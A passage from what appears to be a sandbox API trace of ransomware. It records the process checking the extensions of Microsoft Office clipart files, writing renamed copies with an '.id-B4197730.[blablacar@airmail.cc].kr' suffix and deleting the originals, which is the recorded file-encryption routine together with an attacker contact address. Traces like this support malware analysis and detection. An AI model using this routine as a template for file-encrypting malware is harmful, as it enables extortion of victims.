office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0217.139] GetLastError () returned 0x0 [0217.139] ReadFile (in: hFile=0x478, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xd28, lpOverlapped=0x0) returned 1 [0217.140] WriteFile (in: hFile=0x474, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xd30, lpOverlapped=0x0) returned 1 [0217.141] ReadFile (in: hFile=0x478, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0217.141] WriteFile (in: hFile=0x474, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0217.141] SetEndOfFile (hFile=0x474) returned 1 [0217.141] CloseHandle (hObject=0x474) returned 1 [0217.141] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.141] SetEndOfFile (hFile=0x478) returned 1 [0217.144] CloseHandle (hObject=0x478) returned 1 [0217.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0217.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.145] lstrlenW (lpString=".doc") returned 4 [0217.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.145] lstrlenW (lpString=".docx") returned 5 [0217.145] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.145] lstrlenW (lpString=".pdf") returned 4 [0217.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.145] lstrlenW (lpString=".xls") returned 4 [0217.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.145] lstrlenW (lpString=".xlsx") returned 5 [0217.145] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.145] lstrlenW (lpString=".ppt") returned 4 [0217.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.145] lstrlenW (lpString=".zip") returned 4 [0217.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.145] lstrlenW (lpString=".rar") returned 4 [0217.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.145] lstrlenW (lpString=".bz2") returned 4 [0217.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.145] lstrlenW (lpString=".7z") returned 3 [0217.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.146] lstrlenW (lpString=".dbf") returned 4 [0217.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.146] lstrlenW (lpString=".1cd") returned 4 [0217.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.146] lstrlenW (lpString=".jpg") returned 4 [0217.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.146] lstrlenW (lpString=".doc") returned 4 [0217.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.146] lstrlenW (lpString=".docx") returned 5 [0217.146] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.146] lstrlenW (lpString=".pdf") returned 4 [0217.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.146] lstrlenW (lpString=".xls") returned 4 [0217.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.146] lstrlenW (lpString=".xlsx") returned 5 [0217.146] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.146] lstrlenW (lpString=".ppt") returned 4 [0217.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.146] lstrlenW (lpString=".zip") returned 4 [0217.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.146] lstrlenW (lpString=".rar") returned 4 [0217.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.146] lstrlenW (lpString=".bz2") returned 4 [0217.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.146] lstrlenW (lpString=".7z") returned 3 [0217.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.147] lstrlenW (lpString=".dbf") returned 4 [0217.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.147] lstrlenW (lpString=".1cd") returned 4 [0217.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0217.147] lstrlenW (lpString=".jpg") returned 4 [0217.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.147] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.147] lstrlenW (lpString="J0152590.WMF") returned 12 [0217.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0217.270] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10932) returned 1 [0217.291] CloseHandle (hObject=0x3f8) returned 1 [0217.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220 [0217.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0217.390] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.390] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.392] GetLastError () returned 0x0 [0217.392] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2ab4, lpOverlapped=0x0) returned 1 [0217.394] WriteFile (in: hFile=0x51c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2ac0, lpOverlapped=0x0) returned 1 [0217.395] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0217.395] WriteFile (in: hFile=0x51c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0217.395] SetEndOfFile (hFile=0x51c) returned 1 [0217.395] CloseHandle (hObject=0x51c) returned 1 [0217.396] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.396] SetEndOfFile (hFile=0x564) returned 1 [0217.398] CloseHandle (hObject=0x564) returned 1 [0217.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0217.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.400] lstrlenW (lpString=".doc") returned 4 [0217.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.400] lstrlenW (lpString=".docx") returned 5 [0217.400] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.400] lstrlenW (lpString=".pdf") returned 4 [0217.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.400] lstrlenW (lpString=".xls") returned 4 [0217.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.400] lstrlenW (lpString=".xlsx") returned 5 [0217.400] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.400] lstrlenW (lpString=".ppt") returned 4 [0217.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.400] lstrlenW (lpString=".zip") returned 4 [0217.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.401] lstrlenW (lpString=".rar") returned 4 [0217.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.401] lstrlenW (lpString=".bz2") returned 4 [0217.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.401] lstrlenW (lpString=".7z") returned 3 [0217.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.401] lstrlenW (lpString=".dbf") returned 4 [0217.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.401] lstrlenW (lpString=".1cd") returned 4 [0217.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.401] lstrlenW (lpString=".jpg") returned 4 [0217.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.401] lstrlenW (lpString=".doc") returned 4 [0217.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.401] lstrlenW (lpString=".docx") returned 5 [0217.401] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.401] lstrlenW (lpString=".pdf") returned 4 [0217.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.401] lstrlenW (lpString=".xls") returned 4 [0217.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.401] lstrlenW (lpString=".xlsx") returned 5 [0217.401] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.401] lstrlenW (lpString=".ppt") returned 4 [0217.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.401] lstrlenW (lpString=".zip") returned 4 [0217.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.402] lstrlenW (lpString=".rar") returned 4 [0217.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.402] lstrlenW (lpString=".bz2") returned 4 [0217.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.402] lstrlenW (lpString=".7z") returned 3 [0217.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.402] lstrlenW (lpString=".dbf") returned 4 [0217.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.402] lstrlenW (lpString=".1cd") returned 4 [0217.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0217.402] lstrlenW (lpString=".jpg") returned 4 [0217.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.402] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.402] lstrlenW (lpString="J0152606.WMF") returned 12 [0217.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0217.404] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=16632) returned 1 [0217.404] CloseHandle (hObject=0x564) returned 1 [0217.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 0x220 [0217.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0217.404] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.404] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.405] GetLastError () returned 0x0 [0217.405] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x40f8, lpOverlapped=0x0) returned 1 [0217.407] WriteFile (in: hFile=0x51c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x4100, lpOverlapped=0x0) returned 1 [0217.408] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0217.408] WriteFile (in: hFile=0x51c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0217.408] SetEndOfFile (hFile=0x51c) returned 1 [0217.409] CloseHandle (hObject=0x51c) returned 1 [0217.409] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.409] SetEndOfFile (hFile=0x564) returned 1 [0217.412] CloseHandle (hObject=0x564) returned 1 [0217.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0217.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.413] lstrlenW (lpString=".doc") returned 4 [0217.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.413] lstrlenW (lpString=".docx") returned 5 [0217.413] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0217.413] lstrlenW (lpString=".pdf") returned 4 [0217.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.414] lstrlenW (lpString=".xls") returned 4 [0217.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.414] lstrlenW (lpString=".xlsx") returned 5 [0217.414] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0217.414] lstrlenW (lpString=".ppt") returned 4 [0217.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.414] lstrlenW (lpString=".zip") returned 4 [0217.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.414] lstrlenW (lpString=".rar") returned 4 [0217.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.414] lstrlenW (lpString=".bz2") returned 4 [0217.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.414] lstrlenW (lpString=".7z") returned 3 [0217.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.414] lstrlenW (lpString=".dbf") returned 4 [0217.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.414] lstrlenW (lpString=".1cd") returned 4 [0217.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.414] lstrlenW (lpString=".jpg") returned 4 [0217.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.414] lstrlenW (lpString=".doc") returned 4 [0217.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.414] lstrlenW (lpString=".docx") returned 5 [0217.414] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0217.414] lstrlenW (lpString=".pdf") returned 4 [0217.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.415] lstrlenW (lpString=".xls") returned 4 [0217.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.415] lstrlenW (lpString=".xlsx") returned 5 [0217.415] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0217.415] lstrlenW (lpString=".ppt") returned 4 [0217.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.415] lstrlenW (lpString=".zip") returned 4 [0217.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.415] lstrlenW (lpString=".rar") returned 4 [0217.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.415] lstrlenW (lpString=".bz2") returned 4 [0217.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.415] lstrlenW (lpString=".7z") returned 3 [0217.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.415] lstrlenW (lpString=".dbf") returned 4 [0217.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.415] lstrlenW (lpString=".1cd") returned 4 [0217.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0217.415] lstrlenW (lpString=".jpg") returned 4 [0217.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.415] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.415] lstrlenW (lpString="J0152608.WMF") returned 12 [0217.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0217.416] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=12436) returned 1 [0217.416] CloseHandle (hObject=0x564) returned 1 [0217.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220 [0217.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0217.417] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.417] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0217.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.418] GetLastError () returned 0x0 [0217.418] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x3094, lpOverlapped=0x0) returned 1 [0217.420] WriteFile (in: hFile=0x51c, 